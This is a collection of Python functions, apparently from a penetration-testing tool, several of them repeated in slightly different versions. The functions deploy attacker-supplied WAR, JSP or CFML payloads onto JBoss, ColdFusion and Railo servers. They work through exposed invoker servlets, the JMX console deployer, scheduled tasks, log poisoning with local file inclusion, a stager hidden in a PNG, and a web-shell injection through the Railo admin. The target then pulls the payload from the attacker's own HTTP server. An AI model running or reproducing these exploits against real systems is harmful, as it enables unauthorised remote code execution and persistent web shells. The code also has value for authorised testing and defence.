def deploy(fingerengine, fingerprint): """ """ war_file = fingerengine.options.deploy war_name = war_file.rsplit("/", 1)[1] utility.Msg("Preparing to deploy {0}...".format(war_file)) url = "http://{0}:{1}/invoker/EJBInvokerServlet".format( fingerengine.options.ip, fingerprint.port) local_url = "http://{0}:8000/{1}".format(utility.local_address(), war_name) # start the local HTTP server server_thread = Thread(target=_serve, args=(war_file,)) server_thread.start() # run serialization code response = invkdeploy(versions[1], url, local_url) if response is not None: utility.Msg(response, LOG.DEBUG) if waitServe(server_thread): utility.Msg("{0} deployed to {1}".format(war_file, fingerengine.options.ip), LOG.SUCCESS) else: utility.Msg("EJBInvokerServlet not vulnerable", LOG.ERROR) try: get("http://localhost:8000/", timeout=1.0) except: pass
def invoke(url, payload, os, version, pl_file): """ All we need to do is traverse up to the admin-ext-thumbnails directory and invoke our stager """ utility.Msg("Invoking stager and deploying payload...") fetchurl = "http://{0}:{1}/{2}".format(utility.local_address(), state.external_port, pl_file) # calculate file hash hsh = md5("%s-5000-5000" % fetchurl).hexdigest().upper() url = url.format(hsh) # fire up server server_thread = Thread(target=_serve, args=(payload, )) server_thread.start() sleep(2) r = utility.requests_get(url) if waitServe(server_thread): utility.Msg( "{0} deployed at /railo-context/{0}".format( parse_war_path(payload, True)), LOG.SUCCESS) else: utility.Msg("Failed to deploy (HTTP %d)" % r.status_code, LOG.ERROR) killServe()
def run_task(ip, fingerprint, cfm_path): """ Invoke the task and wait for the remote server to fetch our file """ cfm_name = parse_war_path(cfm_path, True) # kick up the HTTP server server_thread = Thread(target=_serve, args=(cfm_path,)) server_thread.start() sleep(2) url = "http://{0}:{1}/CFIDE/administrator/scheduler/scheduletasks.cfm"\ .format(ip, fingerprint.port) (cookie, csrf) = fetch_csrf(ip, fingerprint, url) if fingerprint.version in ["9.0"]: uri = "?runtask={0}&timeout=0&csrftoken={1}".format(cfm_name, csrf) elif fingerprint.version in ["10.0"]: uri = "?runtask={0}&group=default&mode=server&csrftoken={1}".format(cfm_name, csrf) response = utility.requests_get(url + uri, cookies=cookie) if waitServe(server_thread): utility.Msg("{0} deployed to /CFIDE/{0}".format(cfm_name), LOG.SUCCESS) try: utility.requests_get("http://localhost:8000", timeout=1) except: pass
def deploy(fingerengine, fingerprint): """ """ war_file = fingerengine.options.deploy war_name = war_file.rsplit("/", 1)[1] utility.Msg("Preparing to deploy {0}...".format(war_file)) url = "http://{0}:{1}/invoker/JMXInvokerServlet".format( fingerengine.options.ip, fingerprint.port) local_url = "http://{0}:8000/{1}".format(utility.local_address(), war_name) # start the local HTTP server server_thread = Thread(target=_serve, args=(war_file, )) server_thread.start() # run serialization code response = invkdeploy(versions[1], url, local_url) if response is not None: utility.Msg(response, LOG.DEBUG) if waitServe(server_thread): utility.Msg( "{0} deployed to {1}".format(war_file, fingerengine.options.ip), LOG.SUCCESS) else: utility.Msg("JMXInvokerServlet not vulnerable", LOG.ERROR) try: get("http://localhost:8000/", timeout=1.0) except: pass
def run_task(ip, fingerprint, cfm_path, cookie): """ Invoke the task and wait for the server to fetch it """ success = False cfm_file = parse_war_path(cfm_path, True) # start up our listener server_thread = Thread(target=_serve, args=(cfm_path, )) server_thread.start() sleep(2) base = 'http://{0}:{1}'.format(ip, fingerprint.port) if fingerprint.version in ['5.0']: uri = '/CFIDE/administrator/scheduler/runtask.cfm?task=%s' % cfm_file else: uri = '/CFIDE/administrator/scheduler/scheduletasks.cfm?runtask=%s'\ % cfm_file response = utility.requests_get(base + uri, cookies=cookie) if waitServe(server_thread): if fingerprint.version in ['5.0']: out_diag = "{0} deployed to /{0}".format( cfm_file.replace('cfml', 'cfm')) else: out_diag = "{0} deployed to /CFIDE/{0}".format(cfm_file) utility.Msg(out_diag, LOG.SUCCESS) success = True killServe() return success
def invoke(url, payload, os, version, pl_file): """ All we need to do is traverse up to the admin-ext-thumbnails directory and invoke our stager """ utility.Msg("Invoking stager and deploying payload...") fetchurl = "http://{0}:{1}/{2}".format(utility.local_address(), state.external_port, pl_file) # calculate file hash hsh = md5("%s-5000-5000" % fetchurl).hexdigest().upper() url = url.format(hsh) # fire up server server_thread = Thread(target=_serve, args=(payload,)) server_thread.start() sleep(2) r = utility.requests_get(url) if waitServe(server_thread): utility.Msg("{0} deployed at /railo-context/{0}".format( parse_war_path(payload,True)), LOG.SUCCESS) else: utility.Msg("Failed to deploy (HTTP %d)" % r.status_code, LOG.ERROR) killServe()
def run_task(ip, fingerprint, cfm_path, cookie): """ Invoke the task and wait for the server to fetch it """ success = False cfm_file = parse_war_path(cfm_path, True) # start up our listener server_thread = Thread(target=_serve, args=(cfm_path,)) server_thread.start() sleep(2) base = 'http://{0}:{1}'.format(ip, fingerprint.port) if fingerprint.version in ['5.0']: uri = '/CFIDE/administrator/scheduler/runtask.cfm?task=%s' % cfm_file else: uri = '/CFIDE/administrator/scheduler/scheduletasks.cfm?runtask=%s'\ % cfm_file response = utility.requests_get(base + uri, cookies=cookie) if waitServe(server_thread): if fingerprint.version in ['5.0']: out_diag = "{0} deployed to /{0}".format(cfm_file.replace('cfml','cfm')) else: out_diag = "{0} deployed to /CFIDE/{0}".format(cfm_file) utility.Msg(out_diag, LOG.SUCCESS) success = True killServe() return success
def run_task(ip, fingerprint, cfm_path): """ """ global cookie cfm_file = parse_war_path(cfm_path, True) # kick up server server_thread = Thread(target=_serve, args=(cfm_path,)) server_thread.start() sleep(2) base = "http://{0}:{1}/railo-context/admin/web.cfm".format(ip, fingerprint.port) params = "?action=services.schedule" data = OrderedDict([ ("row_1", "1"), ("name_1", cfm_file), ("mainAction", "execute") ]) response = utility.requests_post(base + params, data=data, cookies=cookie) if waitServe(server_thread): utility.Msg("{0} deployed to /{0}".format(cfm_file), LOG.SUCCESS) killServe()
def deploy(fingerengine, fingerprint): """ """ war_file = abspath(fingerengine.options.deploy) war_name = parse_war_path(war_file, True) # start the local HTTP server server_thread = Thread(target=_serve, args=(war_file, )) server_thread.start() sleep(1.5) utility.Msg("Preparing to deploy {0}...".format(war_file)) url = "http://{0}:{1}/web-console/Invoker".format(fingerengine.options.ip, fingerprint.port) local_url = "http://{0}:{1}/{2}".format(utility.local_address(), state.external_port, war_name) # poll the URL to check for a 401 response = utility.requests_get(url) if response.status_code == 401: utility.Msg("Host %s:%s requires auth for web-console, checking..", LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: (usr, pswd) = (cookies[1].username, cookies[1].password) response = wc_invoke(url, local_url, usr, pswd) else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) else: # run our java lib for serializing the request response = wc_invoke(url, local_url) if not response == '': utility.Msg(response, LOG.DEBUG) if waitServe(server_thread): utility.Msg( "{0} deployed to {1}".format(war_file, fingerengine.options.ip), LOG.SUCCESS) killServe()
def deploy(fingerengine, fingerprint): """ """ war_file = abspath(fingerengine.options.deploy) war_name = war_file.rsplit('/', 1)[1] # start the local HTTP server server_thread = Thread(target=_serve, args=(war_file,)) server_thread.start() sleep(1.5) utility.Msg("Preparing to deploy {0}...".format(war_file)) url = "http://{0}:{1}/web-console/Invoker".format( fingerengine.options.ip, fingerprint.port) local_url = "http://{0}:{1}/{2}".format(utility.local_address(), state.external_port,war_name) # poll the URL to check for a 401 response = utility.requests_get(url) if response.status_code == 401: utility.Msg("Host %s:%s requires auth for web-console, checking..", LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: (usr, pswd) = (cookies[1].username, cookies[1].password) response = wc_invoke(url, local_url, usr, pswd) else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) else: # run our java lib for serializing the request response = wc_invoke(url, local_url) if not response == '': utility.Msg(response, LOG.DEBUG) if waitServe(server_thread): utility.Msg("{0} deployed to {1}".format(war_file, fingerengine.options.ip), LOG.SUCCESS) killServe()
def deploy(fingerengine, fingerprint): """ Exploits log poisoning to inject CFML stager code that pulls down our payload and stashes it in web root """ cfm_path = abspath(fingerengine.options.deploy) cfm_file = parse_war_path(cfm_path, True) dip = fingerengine.options.ip base = 'http://{0}:{1}/'.format(dip, fingerprint.port) stager = "<cfhttp method='get' url='#ToString(ToBinary('{0}'))#'"\ " path='#ExpandPath(ToString(ToBinary('Li4vLi4v')))#'"\ " file='{1}'>" # ensure we're deploying a valid filetype extension = cfm_file.rsplit('.', 1)[1] if extension.lower() not in ['jsp', 'cfml']: utility.Msg("This deployer requires a JSP/CFML payload", LOG.ERROR) return # start up our local server to catch the request server_thread = Thread(target=_serve, args=(cfm_path, )) server_thread.start() # inject stager utility.Msg("Injecting stager...") b64addr = b64encode('http://{0}:{1}/{2}'.format(utility.local_address(), state.external_port, cfm_file)) stager = quote_plus(stager.format(b64addr, cfm_file)) stager += ".cfml" # trigger the error for log injection _ = utility.requests_get(base + stager) # stager injected, now load the log file via LFI if fingerprint.version in ["9.0", "10.0"]: LinvokeLFI(base, fingerengine, fingerprint) else: invokeLFI(base, fingerengine, fingerprint) if waitServe(server_thread): utility.Msg("{0} deployed at /{0}".format(cfm_file), LOG.SUCCESS) else: utility.Msg("Failed to deploy file.", LOG.ERROR) killServe()
def deploy(fingerengine, fingerprint): """ Exploits log poisoning to inject CFML stager code that pulls down our payload and stashes it in web root """ cfm_path = abspath(fingerengine.options.deploy) cfm_file = parse_war_path(cfm_path, True) dip = fingerengine.options.ip base = 'http://{0}:{1}/'.format(dip, fingerprint.port) stager = "<cfhttp method='get' url='#ToString(ToBinary('{0}'))#'"\ " path='#ExpandPath(ToString(ToBinary('Li4vLi4v')))#'"\ " file='{1}'>" # ensure we're deploying a valid filetype extension = cfm_file.rsplit('.', 1)[1] if extension.lower() not in ['jsp', 'cfml']: utility.Msg("This deployer requires a JSP/CFML payload", LOG.ERROR) return # start up our local server to catch the request server_thread = Thread(target=_serve, args=(cfm_path,)) server_thread.start() # inject stager utility.Msg("Injecting stager...") b64addr = b64encode('http://{0}:{1}/{2}'.format(utility.local_address(), state.external_port,cfm_file)) stager = quote_plus(stager.format(b64addr, cfm_file)) stager += ".cfml" # trigger the error for log injection _ = utility.requests_get(base + stager) # stager injected, now load the log file via LFI if fingerprint.version in ["9.0", "10.0"]: LinvokeLFI(base, fingerengine, fingerprint) else: invokeLFI(base, fingerengine, fingerprint) if waitServe(server_thread): utility.Msg("{0} deployed at /{0}".format(cfm_file), LOG.SUCCESS) else: utility.Msg("Failed to deploy file.", LOG.ERROR) killServe()
def load_file(url, payload_file, os, version): """ Make a copy of our test PNG file, embed the stager into it, change the extension, and stash it on the server """ pl_file = "msh%d.cfm" % randint(0, 500) fetchurl = "http://{0}:{1}/{2}".format(utility.local_address(), state.external_port, payload_file) b64 = b64encode(fetchurl) stager = "<cfhttp method='get' url='#ToString(ToBinary('{0}'))#'"\ " path='#GetDirectoryFromPath(GetCurrentTemplatePath())#..\..\context\'"\ " file='{1}'>".format(b64, payload_file) # set our stager system("cp ./src/lib/railo/header.png {0}/{1}".format( state.serve_dir, pl_file)) with open("{0}/{1}".format(state.serve_dir, pl_file), "ab") as f: f.write(stager + '\x00') # fire up server server_thread = Thread(target=_serve, args=("%s/%s" % (state.serve_dir, pl_file), )) server_thread.start() sleep(2) # invoke _ = utility.requests_get( url.format('http://{0}:{1}/{2}'.format(utility.local_address(), state.external_port, pl_file))) if waitServe(server_thread): utility.Msg( "%s stashed on remote host, preparing to invoke..." % pl_file, LOG.DEBUG) else: utility.Msg("Failed to invoke server call", LOG.ERROR) pl_file = None killServe() return pl_file
def run_task(ip, fingerprint, cfm_path): """ """ global cookie cfm_file = parse_war_path(cfm_path, True) # kick up server server_thread = Thread(target=_serve, args=(cfm_path, )) server_thread.start() sleep(2) base = "http://{0}:{1}/railo-context/admin/web.cfm".format( ip, fingerprint.port) params = "?action=services.schedule" data = OrderedDict([("row_1", "1"), ("name_1", cfm_file), ("mainAction", "execute")]) response = utility.requests_post(base + params, data=data, cookies=cookie) if waitServe(server_thread): utility.Msg("{0} deployed to /{0}".format(cfm_file), LOG.SUCCESS) killServe()
def load_file(url, payload_file, os, version): """ Make a copy of our test PNG file, embed the stager into it, change the extension, and stash it on the server """ pl_file = "msh%d.cfm" % randint(0, 500) fetchurl = "http://{0}:{1}/{2}".format(utility.local_address(), state.external_port, payload_file) b64 = b64encode(fetchurl) stager = "<cfhttp method='get' url='#ToString(ToBinary('{0}'))#'"\ " path='#GetDirectoryFromPath(GetCurrentTemplatePath())#..\..\context\'"\ " file='{1}'>".format(b64, payload_file) # set our stager copyfile("./src/lib/railo/header.png", "{0}/{1}".format(state.serve_dir, pl_file)) with open("{0}/{1}".format(state.serve_dir, pl_file), "ab") as f: f.write(stager + '\x00') # fire up server server_thread = Thread(target=_serve, args=("%s/%s" % (state.serve_dir, pl_file),)) server_thread.start() sleep(2) # invoke _ = utility.requests_get(url.format('http://{0}:{1}/{2}'.format( utility.local_address(), state.external_port, pl_file))) if waitServe(server_thread): utility.Msg("%s stashed on remote host, preparing to invoke..." % pl_file, LOG.DEBUG) else: utility.Msg("Failed to invoke server call", LOG.ERROR) pl_file = None killServe() return pl_file
def deploy(fingerengine, fingerprint): """ """ war_file = abspath(fingerengine.options.deploy) war_name = parse_war_path(war_file, True) # start up the local HTTP server server_thread = Thread(target=_serve, args=(war_file, )) server_thread.start() sleep(2) # major versions of JBoss have different method indices methodIndex = { "3.0": 21, "3.2": 22, "4.0": 3, "4.2": 3, "6.0": 19, "6.1": 19 } if fingerprint.version == "3.0": # tmp = utility.capture_input("Version 3.0 has a strict WAR XML structure. " # "Ensure your WAR is compatible with 3.0 [Y/n]") # if 'n' in tmp.lower(): # return utility.Msg( "Version 3.0 has a strict WAR XML structure. Ensure your WAR is compatible with 3.0" ) utility.Msg("Preparing to deploy {0}..".format(war_file)) url = 'http://{0}:{1}/jmx-console/HtmlAdaptor'.format( fingerengine.options.ip, fingerprint.port) data = OrderedDict([ ('action', 'invokeOp'), ('name', 'jboss.system:service=MainDeployer'), ('methodIndex', methodIndex[fingerprint.version]), ('arg0', 'http://{0}:{1}/{2}'.format(utility.local_address(), state.external_port, war_name)) ]) response = utility.requests_post(url, data=data) if response.status_code == 401: utility.Msg( "Host %s:%s requires auth for JMX, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: try: response = utility.requests_post(url, data=data, cookies=cookies[0], auth=cookies[1]) except exceptions.Timeout: # we should be fine here, so long as we get the POST request off. # Just means that we haven't gotten a response quite yet. response.status_code = 200 else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code == 200: if waitServe(server_thread): utility.Msg( "{0} deployed to {1}".format(war_file, fingerengine.options.ip), LOG.SUCCESS) else: utility.Msg( "Failed to call {0} (HTTP {1})".format(fingerengine.options.ip, response.status_code), LOG.ERROR) killServe()
def deploy(fingerengine, fingerprint): """ Exploit a post-auth RCE vulnerability in Railo; uses a simple cfhttp stager to drop the payload """ payload = parse_war_path(fingerengine.options.deploy, True) payload_path = abspath(fingerengine.options.deploy) stager = ":<cfhttp method=\"get\" url=\"http://{0}:{1}/{2}\""\ " path=\"{3}\" file=\"{2}\">" base = 'http://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port) cookie = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title) if not cookie: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return utility.Msg("Fetching path...") path = fetchPath(fingerengine, fingerprint) utility.Msg("Found path %s" % path, LOG.DEBUG) # configure stager stager = quote(stager.format(utility.local_address(), state.external_port, payload, path + "\context" if fingerengine.options.remote_os \ is 'windows' else '/context')) utility.Msg("Pulling id file...") fid = fetchId(base, path, cookie) if not fid: return utility.Msg("Found id %s" % fid, LOG.DEBUG) # we've got both the security token and the security key, calculate filename session_file = md5(fid + md5(path).hexdigest()).hexdigest() utility.Msg("Session file is web-%s.cfm, attempting to inject stager..." % session_file) # trigger a new favorite with our web shell uri = '/railo-context/admin/web.cfm?action=internal.savedata' uri += '&action2=addfavorite&favorite=%s' % stager response = utility.requests_get(base + uri, cookies=cookie) if not response.status_code is 200: utility.Msg("Failed to deploy stager (HTTP %d)" % response.status_code, LOG.ERROR) return utility.Msg("Stager deployed, invoking...", LOG.SUCCESS) system("cp {0} {1}/{2}".format(payload_path, state.serve_dir, payload)) server_thread = Thread(target=_serve, args=("%s/%s" % (state.serve_dir, payload), )) server_thread.start() sleep(2) # invoke data_uri = "/railo-context/admin/userdata/web-%s.cfm" % session_file _ = utility.requests_get(base + data_uri) if waitServe(server_thread): utility.Msg("{0} deployed at /railo-context/{0}".format(payload), LOG.SUCCESS) killServe()
def deploy(fingerengine, fingerprint): """ Exploit a post-auth RCE vulnerability in Railo; uses a simple cfhttp stager to drop the payload """ payload = parse_war_path(fingerengine.options.deploy, True) payload_path = abspath(fingerengine.options.deploy) stager = ":<cfhttp method=\"get\" url=\"http://{0}:{1}/{2}\""\ " path=\"{3}\" file=\"{2}\">" base = 'http://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port) cookie = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title) if not cookie: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return utility.Msg("Fetching path...") path = fetchPath(fingerengine, fingerprint) utility.Msg("Found path %s" % path, LOG.DEBUG) # configure stager stager = quote(stager.format(utility.local_address(), state.external_port, payload, path + "\context" if fingerengine.options.remote_os \ is 'windows' else '/context')) utility.Msg("Pulling id file...") fid = fetchId(base, path, cookie) if not fid: return utility.Msg("Found id %s" % fid, LOG.DEBUG) # we've got both the security token and the security key, calculate filename session_file = md5(fid + md5(path).hexdigest()).hexdigest() utility.Msg("Session file is web-%s.cfm, attempting to inject stager..." % session_file) # trigger a new favorite with our web shell uri = '/railo-context/admin/web.cfm?action=internal.savedata' uri += '&action2=addfavorite&favorite=%s' % stager response = utility.requests_get(base + uri, cookies=cookie) if not response.status_code is 200: utility.Msg("Failed to deploy stager (HTTP %d)" % response.status_code, LOG.ERROR) return utility.Msg("Stager deployed, invoking...", LOG.SUCCESS) system("cp {0} {1}/{2}".format(payload_path, state.serve_dir, payload)) server_thread = Thread(target=_serve, args=("%s/%s" % (state.serve_dir, payload),)) server_thread.start() sleep(2) # invoke data_uri = "/railo-context/admin/userdata/web-%s.cfm" % session_file _ = utility.requests_get(base + data_uri) if waitServe(server_thread): utility.Msg("{0} deployed at /railo-context/{0}".format(payload), LOG.SUCCESS) killServe()
def deploy(fingerengine, fingerprint): """ This deployer attempts to deploy to the JMXInvokerServlet, often left unprotected. For versions 3.x and 4.x we can deploy WARs, but for 5.x the HttpAdaptor invoker is broken (in JBoss), so instead we invoke the DeploymentFileRepository method. This requires a JSP instead of a WAR. """ war_file = fingerengine.options.deploy war_name = war_file.rsplit("/", 1)[1] utility.Msg("Preparing to deploy {0}...".format(war_file)) url = "http://{0}:{1}/invoker/JMXInvokerServlet".format( fingerengine.options.ip, fingerprint.port) local_url = "http://{0}:8000/{1}".format(utility.local_address(), war_name) # the attached fingerprint doesnt have a version; lets pull one of the others # to fetch it. dirty hack. fp = [f for f in fingerengine.fingerprints if f.version != 'Any'] if len(fp) > 0: fp = fp[0] else: ver = utility.capture_input("Could not reliably determine version, " "please enter the remote JBoss instance" " version") if len(ver) > 0: if '.' not in ver: ver += '.0' if ver not in versions: utility.Msg("Failed to find a valid fingerprint for deployment.", LOG.ERROR) return else: fp = fingerprint fp.version = ver else: return if fp.version in ["5.0", "5.1"]: if '.war' in war_file: utility.Msg("Deploying via an exposed invoker for JBoss " " 5.x requires a JSP payload.", LOG.ERROR) return response = invkdeploy(fp.version, url, abspath(war_file)) if len(response) > 1: utility.Msg(response, LOG.DEBUG) else: utility.Msg("{0} deployed to {1}".format(war_file, fingerengine.options.ip), LOG.SUCCESS) else: # start the local HTTP server server_thread = Thread(target=_serve, args=(war_file,)) server_thread.start() # run serialization code response = invkdeploy(fp.version, url, local_url) if waitServe(server_thread): utility.Msg("{0} deployed to {1}".format(war_file, fingerengine.options.ip), LOG.SUCCESS) else: utility.Msg("JMXInvokerServlet not vulnerable", LOG.ERROR) try: get("http://localhost:8000/", timeout=1.0) except: pass
def deploy(fingerengine, fingerprint): """ """ war_file = abspath(fingerengine.options.deploy) war_name = war_file.rsplit('/', 1)[1] # start up the local HTTP server server_thread = Thread(target=_serve, args=(war_file,)) server_thread.start() sleep(2) # major versions of JBoss have different method indices methodIndex = {"3.0" : 21, "3.2" : 22, "4.0" : 3, "4.2" : 3, "6.0" : 19, "6.1" : 19 } if fingerprint.version == "3.0": tmp = utility.capture_input("Version 3.0 has a strict WAR XML structure. " "Ensure your WAR is compatible with 3.0 [Y/n]") if 'n' in tmp.lower(): return utility.Msg("Preparing to deploy {0}..".format(war_file)) url = 'http://{0}:{1}/jmx-console/HtmlAdaptor'.format( fingerengine.options.ip, fingerprint.port) data = OrderedDict([ ('action', 'invokeOp'), ('name', 'jboss.system:service=MainDeployer'), ('methodIndex', methodIndex[fingerprint.version]), ('arg0', 'http://{0}:8000/{1}'.format( utility.local_address(), war_name)) ]) response = utility.requests_post(url, data=data) if response.status_code == 401: utility.Msg("Host %s:%s requires auth for JMX, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: try: response = utility.requests_post(url, data=data, cookies=cookies[0], auth=cookies[1]) except exceptions.Timeout: # we should be fine here, so long as we get the POST request off. # Just means that we haven't gotten a response quite yet. response.status_code = 200 else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code == 200: if waitServe(server_thread): utility.Msg("{0} deployed to {1}".format(war_file, fingerengine.options.ip), LOG.SUCCESS) else: utility.Msg("Failed to call {0} (HTTP {1})".format (fingerengine.options.ip, response.status_code), LOG.ERROR) # kill our local HTTP server try: get("http://localhost:8000/", timeout=1.0) except: pass
def deploy(fingerengine, fingerprint): """ This deployer attempts to deploy to the EJBInvokerServlet, often left unprotected. For versions 3.x and 4.x we can deploy WARs, but for 5.x the HttpAdaptor invoker is broken (in JBoss), so instead we invoke the DeploymentFileRepository method. This requires a JSP instead of a WAR. """ war_file = fingerengine.options.deploy war_name = war_file.rsplit("/", 1)[1] utility.Msg("Preparing to deploy {0}...".format(war_file)) url = "http://{0}:{1}/invoker/EJBInvokerServlet".format( fingerengine.options.ip, fingerprint.port) local_url = "http://{0}:8000/{1}".format(utility.local_address(), war_name) # the attached fingerprint doesnt have a version; lets pull one of the others # to fetch it. dirty hack. fp = [f for f in fingerengine.fingerprints if f.version != 'Any'] if len(fp) > 0: fp = fp[0] else: ver = utility.capture_input("Could not reliably determine version, " "please enter the remote JBoss instance" " version") if len(ver) > 0: if '.' not in ver: ver += '.0' if ver not in versions: utility.Msg( "Failed to find a valid fingerprint for deployment.", LOG.ERROR) return else: fp = fingerprint fp.version = ver else: return if fp.version in ["5.0", "5.1"]: if '.war' in war_file: utility.Msg( "Deploying via an exposed invoker for JBoss " "5.x requires a JSP payload", LOG.ERROR) return response = invkdeploy(fp.version, url, abspath(war_file)) if len(response) > 1: utility.Msg(response, LOG.DEBUG) else: utility.Msg( "{0} deployed to {1}".format(war_file, fingerengine.options.ip), LOG.SUCCESS) else: # start the local HTTP server server_thread = Thread(target=_serve, args=(war_file, )) server_thread.start() # run serialization code response = invkdeploy(fp.version, url, local_url) if response is not None: utility.Msg(response, LOG.DEBUG) if waitServe(server_thread): utility.Msg( "{0} deployed to {1}".format(war_file, fingerengine.options.ip), LOG.SUCCESS) else: utility.Msg("EJBInvokerServlet not vulnerable", LOG.ERROR) try: get("http://localhost:8000/", timeout=1.0) except: pass
def deploy(fingerengine, fingerprint): """ """ war_file = abspath(fingerengine.options.deploy) war_name = parse_war_path(war_file, True) # start up the local HTTP server server_thread = Thread(target=_serve, args=(war_file,)) server_thread.start() sleep(2) # major versions of JBoss have different method indices methodIndex = {"3.0" : 21, "3.2" : 22, "4.0" : 3, "4.2" : 3, "6.0" : 19, "6.1" : 19 } utility.Msg("Preparing to deploy {0}..".format(war_file)) url = 'http://{0}:{1}/jmx-console/HtmlAdaptor'.format( fingerengine.options.ip, fingerprint.port) data = OrderedDict([ ('action', 'invokeOp'), ('name', 'jboss.system:service=MainDeployer'), ('methodIndex', methodIndex[fingerprint.version]), ('arg0', 'http://{0}:{1}/{2}'.format( utility.local_address(), state.external_port,war_name)) ]) response = utility.requests_post(url, data=data) if response.status_code == 401: utility.Msg("Host %s:%s requires auth for JMX, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: try: response = utility.requests_post(url, data=data, cookies=cookies[0], auth=cookies[1]) except exceptions.Timeout: # we should be fine here, so long as we get the POST request off. # Just means that we haven't gotten a response quite yet. response.status_code = 200 else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code == 200: if waitServe(server_thread): utility.Msg("{0} deployed to {1}".format(war_file, fingerengine.options.ip), LOG.SUCCESS) else: utility.Msg("Failed to call {0} (HTTP {1})".format (fingerengine.options.ip, response.status_code), LOG.ERROR) killServe()